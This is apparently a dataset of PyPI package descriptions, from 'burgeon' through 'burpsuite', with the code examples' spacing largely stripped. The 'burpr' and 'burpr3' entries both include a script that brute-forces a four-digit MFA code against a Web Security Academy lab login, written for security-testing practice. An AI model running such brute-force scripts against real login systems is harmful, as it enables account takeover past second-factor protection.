Saravanan666/pypi-org huggingface dataset:
Package: burgeon
This project exposes one function –with_reloading– which is used to run a
single callable. This callable gets run in a separate thread which gets
restarted whenever a Python source file from the current working directory down
changes. This improves the development cycle by removing the need to manually
restart long running services whenever its source code changes.> Burgeon: To grow or develop rapidly; expand or proliferate.InstallationpipinstallburgeonExample Usagefromburgeonimportwith_reloadingdefmy_function():whileTrue:print("hello")with_reloading(my_function)The function above demonstrates a minimal example of usingwith_reloading.
Once the code is executed, any changes to the file (that get saved) will notifyburgeonto restart the thread running the function and execute the new
changes.AcknowledgementsThis implementation of Python file reloading uses watchgod and is heavily based
off theBaseReloadclass in theuvicornrepository. For context, this is
how uvicorn implements its own development server reloading. This project
simplifies the implementation and exposes the reloading functionality via a
simple and opinionated interface.
Package: burger
Theburgermodule is a set of simple subroutines used by theBurgerlibbuild system.Documentation is found athttps://pyburger.readthedocs.ioDoxygen generated documentation is found athttps://pyburger.readthedocs.io/en/latest/doxygenPython Packing Index (PyPI):https://pypi.python.org/pypi/burgerSource code and issue tracker:https://github.com/burgerbecky/pyburgerCompatibilityPython 2.7.1 or higherPython 3.4 or higherInstallationType inpip install-Uburger. Some platforms may require thesudoprefix.BugsIf you find a bug, issue or have a feature request, please submit a bug report
by emailingbecky@burgerbecky.comand mention python version, integer
size (32 bit or 64 bit) and what platform was used (Windows / Mac OSX / Linux).
Package: burgos
SessionUsage:fromburgos.sessionimportSessionsession=Session(database_auth,login_table)database_auth: json/dict{"host":"host ip address or domain","database":"database name","user":"username","password":"user password"}login_table: string"table_name_which_contains_login_data"Built-in methodsdatabase.reconnectDatabase()reconnects to the databasegetConnection(ip)ip = string containing an ip addressreturns the connection matching the selected ip addressif there is no connection with that ip, returns Nonelogin(user, password, ip)user = string containing the username, email or cpf as login methodpassword = string containg the passwordip = string containing an ip addressif "user" is number only, it will be checked as cpfif "user" has an "@", it will be checked as an emailif "user" is neither, it will be checked as an usernameif there is a row in database.login_table that matches with this user and password, a Connection will be instanciated and the user id will be returnedMysqlUsage:fromburgos.mysql_handlerimportMysqldatabase=Mysql(login_table)login_table: string"table_name_which_contains_login_data"Built-in methodsconnect(auth:dict)auth = dictionary containing authentication data (same as session's database_auth)connects to the database and must be called before any other method (session already calls this in it's constructor)disconnect()disconnects from the databaserun(sql)sql = string containing SQL codesql code will be executed and commited into the databaseif sql first word, lowered, is equal to "select", this method will return a list containing the selected rowsfetchTable(table, rows = 0, where = [], reversed = None, ordered = None)table = string containing the table name which should be selected data fromrows = int number that means the number of rows that should be selected. Optional (default: all rows)where = list containing strings which are the column and value. Ex.: where = ["username", "nandobfer"]. Optional.reversed = boolean indicating if the where query should be reversed or not. Optional.ordered = string containing the "ORDER BY" information. Ex. ordered = "id" / ordered = "datetime DESC"Returns a list containing another list for each row fetched. Returns an empty list if there was none.
Package: burltnw
BURL Tnwit is module inside of lab robotics for create application
created by tanawat thuamthetInstallpip install burltnwImportimport burltnwMethod of usestatusrobot = burltnw.apollo()
print(robot.get_status())batteryrobot = burltnw.apollo()
print(robot.get_battery())moverobot = burltnw.apollo()
print(robot.walk(1,1)) # position x and position yrotaterobot = burltnw.apollo()
print(robot.rotate(1)) # degreehomerobot = burltnw.apollo()
print(robot.home())
Package: burmese-number-converter
Burmese Number Converteraboutauthor : Han Zaw Nyein
email  : hanzawnyineonline@gmail.comDate, Datetimeimportdatetimefromburmese_number_converterimportconvert_burmese_date_time,BURMESE_NUMBERSif__name__=='__main__':print(BURMESE_NUMBERS[0],BURMESE_NUMBERS[1],BURMESE_NUMBERS[2],BURMESE_NUMBERS[3])current_date_time=datetime.datetime.today()converted_date_time_string=convert_burmese_date_time(datetime_obj=current_date_time,str_format_time="%m/%d/%Y, %H:%M:%S")print(converted_date_time_string)converted_date_string=convert_burmese_date_time(datetime_obj=current_date_time,str_format_time="%m/%d/%Y")print(converted_date_string)current_date=datetime.date.today()converted_date_obj_input_string=convert_burmese_date_time(datetime_obj=current_date,str_format_time="%m/%d/%Y")print(converted_date_obj_input_string)# output
၀ ၁ ၂ ၃
၁၁/၀၄/၂၀၂၂, ၂၃:၄၁:၁၇
၁၁/၀၄/၂၀၂၂
၁၁/၀၄/၂၀၂၂
Package: burn
‘burn’ is a command-line tool to create audio discs from MP3, Ogg
Vorbis, or WAV files, to backup data files, to create discs from
ISO-9660 images, and to copy discs on-the-fly. It performs any of
its functions in a single command, without requiring preparatory
filesystem creation, etc.The program can compute if there is necessary free space for
temporary files (images and audio files), warn if size is bigger
than disc capacity, and manage multisession discs.
Package: burncpu
Module burncpu is a worker dispatcher with multiprocessing and multithreading.FeaturesAll CPU cores can be used.Workers can be stopped gracefully by system signals.Pure python code.QuickstartUse the following command to run the sample module.python3-mburncpu.sampleThen monitor CPU status, some changes take place at these time.TimeEvents0sAll CPU cores are IDLE.10sWorkers begin to call one_second_task many times.60sWorkers begin to terminate.Pressing Ctrl+C or sending system signal can also terminate the sample.Finally copy and modify thesource codeto make your own.ReferenceTo importfromburncpu.dispatcherimportWorkerDispatcherclass WorkerDispatcherWorkerDispatcher.__init__(worker_count=0, use_core=0, time_limit=0)Create a dispatcher instace.worker_countHow many threads would be created, 0 means to create (use_core * 2) threads.use_coreHow many cores would be use, 0 means all cores.time_limitStop workers after given seconds. Running functions still run at that moment.
Queued functions would be cancled.WorkerDispatcher.dispatch(func, args)Dispatch a function to one of workers randomly.funcFunction to call.argsArgument list of this function.WorkerDispatcher.sleep(seconds)Sleep dispatcher for given seconds.secondsSeconds to sleep. Dispatcher would not sleep given seconds actually.
It sleep many times during given seconds, so that system signal (e.g. Ctrl+C) can be handled.WorkerDispatcher.join()Wait until all workers stopped.WorkerDispatcher.is_alive()Check if the dispatcher is alive.
Package: burndown_for_what
Simple django application for generate burndown graphics.DocumentationThe full documentation is athttps://burndown_for_what.readthedocs.org.QuickstartInstall burndown_for_what:pip install burndown_for_whatIn your django project, configuresettings.py:INSTALLED_APPS = (
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'burndown_for_what',
    'rest_framework',
)
GITHUB_DATA = {
    'login': 'your@login.com',
    'password': 'your_token',
    'user': 'org_or_user',
    'repo': 'repository',
}And then yoursurls.py:from django.conf.urls import include, url
from django.contrib import admin

urlpatterns = [
    url(r'^admin/', include(admin.site.urls)),
    url(r'^burndown/', include('burndown_for_what.urls')),
]You need to creating a sprint and theirdailys, when saving the sprint, will be sought all github data.That’s it, run the project server:(virtualenv)guilhermemaba test_scrum # ./manage.py runserver
Performing system checks...

System check identified no issues (0 silenced).
October 26, 2015 - 22:25:16
Django version 1.8.5, using settings 'test_scrum.settings'
Starting development server at http://127.0.0.1:8000/
Quit the server with CONTROL-C.You can accesshttp://127.0.0.1:8000/burndown/sprint/1/FeaturesTODOCookiecutter Tools Used in Making This Packagecookiecuttercookiecutter-djangopackagedjango-rest-frameworkHistory0.1.0 (2015-10-02)First release on PyPI.0.1.1 (2015-10-28)Created fixtures.Adjusted config files and docs.0.1.2 (2015-11-02)Created management score unplanned.0.1.3 (2016-04-21)Github integration.Deleted some unnenecessary fields in the schema.The look of burndown was improved.Corrected some bugs.Bumpversion configured correctly
Package: burner
BurnerEasy to use script to determine the cheapest price forSimSMScodes.InstallationWith PippipinstallburnerWith Poetrypoetryaddgit+https://github.com/ramadan8/Burner.gitManualgitclonehttps://github.com/ramadan8/Burner--depth1poetryinstallUsageUse the following command to find the code for the service you want.burnerservicesThen use the following command to find the price list for the service.burnerpricesopt29# This will get the price list for Telegram.If you want to refresh the cache for the prices to a newer version, run the following command.burner--authorization<apikey>resetIf you'd like to buy a phone number, use the following format. An API key with available funds is necessary for this command.burner-a<apikey>number<countrycode><servicecode>For example, you could type the following to get a RussianSignalcode.burner-a<apikey>numberRUopt127You can also set your API key with theSMS_AUTHORIZATIONenvironment variable.For more information simply typeburner --help.
Package: burner-process
Burner ProcessBurner Process is a wrapper that runs a function inside a newly spawned independent process that isnotchild to the main process, handling the function's arguments and returns (viapickle) as well as all its dependencies.Other solutions (such asthis one) rely onsubprocessand thus spawn a process that is child to the main process, sharing memory and resources with it. Burner Process comes in handy when you need to run a function in an isolated environment, as a 'hard' workaround to memory leaks or inside parallel sub-processes, to monitor a specific function's resources usage.LimitationsThe function has to be defined in a module different from the main, and the functions's module must not include importingburner_process(see example below), which would cause circular imports.Both arguments and returns must bepickleableFeaturesSupporting overlapping/parallel callsNot relying onsubprocessnormultiprocessingNot relying on a queue for the returnsTested on Windows and LinuxUsageInstallationpip install burner-processExamplemy_module.pydefmy_function(x):returnx*2my_script.pyfromburner_processimportprocessifyfrommy_moduleimportmy_functionmy_function_p=processify(my_function)my_function_p(5)>> 10Verbose examplemy_module.pydefmy_function(x):returnx*2my_script.pyfromburner_processimportprocessifyfrommy_moduleimportmy_functionmy_function_p=processify(my_function,verbose=True)my_function_p(5)>> Launching from main process (pid: 20124, parent pid: 10568)
>> Serializing arguments to C:\...\io\3
>> Running inside spawned process (pid: 18976, parent pid: 14584)
>> Serializing outputs to C:\...\io\3
>> 10
Package: burnlight
BurnlightBurnlight is a server and client for automating the control
of the GPIO pins on a Raspberry Pi.FeaturesRun custom schedules controlling one or more GPIO pins.Web API for remote management and monitoring.Paired input and output for feedback on controlled systems.RequirementsFlask- Serves the API.gevent- Runs the scheduling threads.Lark parser- Parses BSL programs.gpiozero- Controls GPIO outputs on Raspberry Pi computers.Getting started on RaspbianInstall Burnlight using pip:$ pip install burnlightStart the server:$ burnlightdCreate a fileschedule.bslwith the following contents:{
    loop 10: {
        (On,1),
        (Off,1)
    }
}Add and start the schedule using the client$ burnlight schedules add schedule.bsl --start_time nowBurnlight Scheduling Language (BSL)Schedules are described with a simple language.The following program will turn the on output for one second each minute for one hour.{
    loop 60: {
        (On,1),
        (Off,59)
    }
}BSL currently supports programs consisting of sequences of output statements
and loops.The simplest program possible is{}, which will do absolutely nothing.
We can make it slightly more interesting by usingoutput statements.
An output statement takes the for(<state>,<duration>)where<state>is
the desired output state,OnorOff, and<duration>is the duration
the output should be in that state in seconds.The following program turns the output on for ten seconds:{
    (On, 10),
    (Off, 1)
}
Package: burocracy
=========Burocracy=========Burocracy is a library that allows you to use .docx templates astemplates using MailMerge fields and can save them as docx's or pdfs. Itcan insert plain text, images, tables and (simple) HTML. See`django-bureaucracy`_ for some mild django integration.WIP: PPTX as templates.Usage=====Example-------.. code-block::from bureaucracy import DocxTemplate, HTML, Image, Tabledoc = DocxTemplate('examples/sample.docx')context = {'table': Table(data=[['this is the first cell of the first row', 'this is the second cell of the first row'],['the second row', 'etc'],['etc', 'etc]],headers=['header 1', 'header 2']),'image': Image('pigeon.jpg')'html': HTML(<p><strong>bold</strong>-notbold</p><ul><li>hop</li><li>la</li><li>kee</li></ul>")'text': 'some text',}doc.render_and_save('generated.docx', context)doc.render_and_save('generated.pdf', context, format='pdf')Inserting mail merge fields---------------------------Bureaucracy expects the .docx-files passed to the ``DocxTemplate`` constructorto contain MailMerge fields whose names correspond to the ones usedin the context dict. How this is done exactly depends on the version ofOffice you have, but it seems that it's always a variation onInsert > Field > Mail Merge > Mergefield and then entering the name:..  figure:: docs/mailmerge_mac.png?raw=true:alt: Mailmerge on MacWhat it looks like on Office Mac 2015Installation============.. code-block:: bashpip install burocracyNote that although this will install the pypandoc dependency, that packagemakes use of the pandoc executable whose installation sometimes fails.To work around this, install pandoc on it's own with your favorite packagemanager and make it available on the path.For the pdf generation, bureaucracy needs the LibreOffice ``soffice`` executableto be installed and on the path... _django-bureacracy: https://bitbucket.org/maykinmedia/django-bureaucracy
Package: burp
Installationpip2 install burpUsageNow you should be able to import burp and receive typing hints!# Burp need to load each class explicitly
from burp import IBurpExtender, IScannerCheck

# This allow us to get typing hints for all burp classes in our IDE
from burp import *

class BurpExtender(IBurpExtender, IScannerCheck):
    def registerExtenderCallbacks(self, callbacks):  # type: (IBurpExtenderCallbacks) -> ()
        print "Loading plugin"
        callbacks.registerScannerCheck(self)

    def doPassiveScan(self, baseRequestResponse):  # type: (IHttpRequestResponse) -> List[IScanIssue]
        return []

    def doActiveScan(self, baseRequestResponse, insertionPoint):  # type: (IHttpRequestResponse, IScannerInsertionPoint) -> List[IScanIssue]
        return []DocumentationThis is a python implementation ofhttps://portswigger.net/burp/extender/api/The purpose of this module is to provide typing hints (annotations) to your IDE.NB. Do not include this module with your burp pluginKnown IssuesMultiple signatures not supported in Pythonpython do not support multiple signatures. In many cases typing hints support multiple signatures.
When this is not the case, the methods will have an extra optional parameter called hey_check_docs to remind you that
there are multiple signatures for the given method.Buildinggit submodule update --init --recursive
pip install -r requirements.txt
python java2py/java2py.py --sourcedir sources --package burp --outfile burp/burp.py
Package: burpr
What is itA Burp Suite request parser, used for aid in assessing application security functionality.Why I wrote itTo use Burp Suite captured requests without relying on intruder.Installationpip install burprUsageUse burpr.py module to parse the Burp Suite copied request. Then use the created object to extract headers and body.Supports parsing requests as strings and as .txt files.importburpr# Load from stringreq=burpr.parse_string(req_string)# Load from filereq=burpr.parse_file(req_file_path)# clone the requestreq_clone=burpr.clone(req)# change protocol to http1.1req_clone.set_protocol(burpr.protocols.HTTP1_1)# change transport to httpreq_clone.set_transport(burpr.transports.HTTP)# modify the headerreq_clone.set_header("Cookie","session=modified_session_cookie")# modify the parameterreq_clone.set_parameter("post-param","AAABBBCCC")# remove parameterreq_clone.remove_parameter("post-param")# remove headerreq_clone.remove_header("Cookie")# adjust Content-Length for parameter changeburpr.prepare(req_clone)client=httpx.Client(http2=True)res=client.post(req.url,headers=req.headers,data=req.body)ExamplesBrute force broken MFAimportburprimporthttpximportitertoolsburp_request=r"""POST /login2 HTTP/2Host: xxxx.web-security-academy.netCookie: verify=carlos; session=xxxxContent-Length: 13Cache-Control: max-age=0Sec-Ch-Ua:Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: ""Upgrade-Insecure-Requests: 1Origin: https://xxxx.web-security-academy.netContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://xxxx.web-security-academy.net/login2Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9mfa-code=4321"""defgenerate_pin_numbers():return[''.join(list([str(digit)fordigitinpermutation]))forpermutationinitertools.product(list(range(0,10)),repeat=4)]defbrute_force_broken_mfa():# Parse request from stringreq=burpr.parse_string(burp_request)# Create http client and check the protocol usedclient=httpx.Client(http2=req.is_http2)forpiningenerate_pin_numbers():# Modify the mfa-code parameterreq.set_parameter("mfa-code",pin)# Send the requestres=client.post(req.url,headers=req.headers,data=req.body)print(res.status_code,pin)if(res.status_code!=200):breakbrute_force_broken_mfa()
Package: burpr3
What is itA Burp Suite request parser, used for aid in assessing application security functionality.Why I wrote itTo bypass the throttling 'Burp Suite Community' does to the intruder.UsageUse burpr.py module to parse the Burp Suite copied request. Then use the created object to extract headers and body.Supports parsing requests as strings and as .txt files.importburpr# Load from stringreq=burpr.parse_string(req_string)# Load from filereq=burpr.parse_file(req_file_path)# clone the requestreq_clone=burpr.clone(req)# change protocol to http1.1req_clone.set_protocol(burpr.protocols.HTTP1_1)# change transport to httpreq_clone.set_transport(burpr.transports.HTTP)# modify the headerreq_clone.set_header("Cookie","session=modified_session_cookie")# modify the parameterreq_clone.set_parameter("post-param","AAABBBCCC")# remove parameterreq_clone.remove_parameter("post-param")# remove headerreq_clone.remove_header("Cookie")# adjust Content-Length for parameter changeburpr.prepare(req_clone)client=httpx.Client(http2=True)res=client.post(req.url,headers=req.headers,data=req.body)ExamplesBrute force broken MFAimportburprimporthttpximportitertoolsburp_request=r"""POST /login2 HTTP/2Host: xxxx.web-security-academy.netCookie: verify=carlos; session=xxxxContent-Length: 13Cache-Control: max-age=0Sec-Ch-Ua:Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: ""Upgrade-Insecure-Requests: 1Origin: https://xxxx.web-security-academy.netContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://xxxx.web-security-academy.net/login2Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9mfa-code=4321"""defgenerate_pin_numbers():return[''.join(list([str(digit)fordigitinpermutation]))forpermutationinitertools.product(list(range(0,10)),repeat=4)]defbrute_force_broken_mfa():# Parse request from stringreq=burpr.parse_string(burp_request)# Create http client and check the protocol usedclient=httpx.Client(http2=req.is_http2)forpiningenerate_pin_numbers():# Modify the mfa-code parameterreq.set_parameter("mfa-code",pin)# Send the requestres=client.post(req.url,headers=req.headers,data=req.body)print(res.status_code,pin)if(res.status_code!=200):breakbrute_force_broken_mfa()
Package: burpsuite
Burp Suite Professional & Enterprise API client (Unofficial)A small Python library for working with the Burp Suite API.Note - Requires Burp Suite Professional or Enterprise -https://portswigger.net/Example usage:importburpsuiteimportos# This example uses the DVWA web application running on localhost as the target app to scan.# https://hub.docker.com/r/vulnerables/web-dvwa/# It's recommended to use an API key when working with the Burp Suite API. It can be set in the 'User Options' menuSERVER_URL=os.getenv("BURP_SERVER_URL",None)API_KEY=os.getenv("BURP_API_KEY",None)burp_api_client=burpsuite.BurpSuiteApi(server_url=SERVER_URL,api_key=API_KEY)# Each scan request requires a scan options object. You can learn more about these options via the Burp Suite REST API# documentation along with the values requiredoptions={"urls":["http://localhost/login.php"],"application_logins":[{"username":"admin","password":"example"}],"scan_callback":{"url":"https://mycallback.com/callbacks/burp/c540ce68-eb7f-469b-914e-b21a903bc152"}}# Initiate a scantask_id=burp_api_client.initiate_scan(options=options)print("Burp Suite scan initiated! task_id:{}".format(task_id))# Get the scan progress of a taskprogress=burp_api_client.get_scan(task_id=task_id)print(progress)